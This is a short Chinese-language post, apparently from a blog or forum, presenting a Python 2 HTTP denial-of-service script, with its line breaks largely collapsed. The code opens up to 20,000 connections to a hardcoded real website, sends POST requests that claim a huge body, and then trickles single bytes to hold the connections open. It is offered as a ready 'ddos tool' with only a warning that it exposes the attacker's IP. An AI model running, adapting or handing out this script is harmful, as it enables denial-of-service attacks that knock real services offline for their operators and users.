基于http的ddos，主要就是靠占用连接数达到攻击目标，但也非常危险，会暴露攻击者的ip,慎用

#!/usr/bin/env pythonimport socketimport timeimport threading#Pressure Test,ddos tool#---------------------------MAX_CONN=20000PORT=80HOST="www.baidu.com"PAGE="/index.php"#--------------------------- buf=("POST %s HTTP/1.1\r\n""Host: %s\r\n""Content-Length: 10000000\r\n""Cookie: dklkt_dos_test\r\n""\r\n" % (PAGE,HOST)) socks=[] def conn_thread():    global socks    for i in range(0,MAX_CONN):        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)        try:            s.connect((HOST,PORT))            s.send(buf)            print "Send buf OK!,conn=%d\n"%i            socks.append(s)        except Exception,ex:            print "Could not connect to server or send error:%s"%ex            time.sleep(10)#end def def send_thread():    global socks    while True:        for s in socks:            try:                s.send("f")                #print "send OK!"            except Exception,ex:                print "Send Exception:%s\n"%ex                socks.remove(s)                s.close()        time.sleep(1)#end def conn_th=threading.Thread(target=conn_thread,args=())send_th=threading.Thread(target=send_thread,args=()) conn_th.start()send_th.start()